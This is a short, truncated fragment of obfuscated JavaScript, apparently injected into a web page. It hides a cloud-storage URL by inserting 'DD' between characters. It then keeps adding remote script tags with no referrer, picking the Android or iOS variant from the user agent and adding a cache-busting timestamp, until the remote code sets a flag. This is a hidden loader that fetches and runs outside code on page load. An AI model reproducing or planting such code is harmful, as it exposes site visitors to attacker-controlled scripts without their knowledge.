9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DD5DDbDDaDDfDDcDD2DD3DD3DD4".split("DD").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2334_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();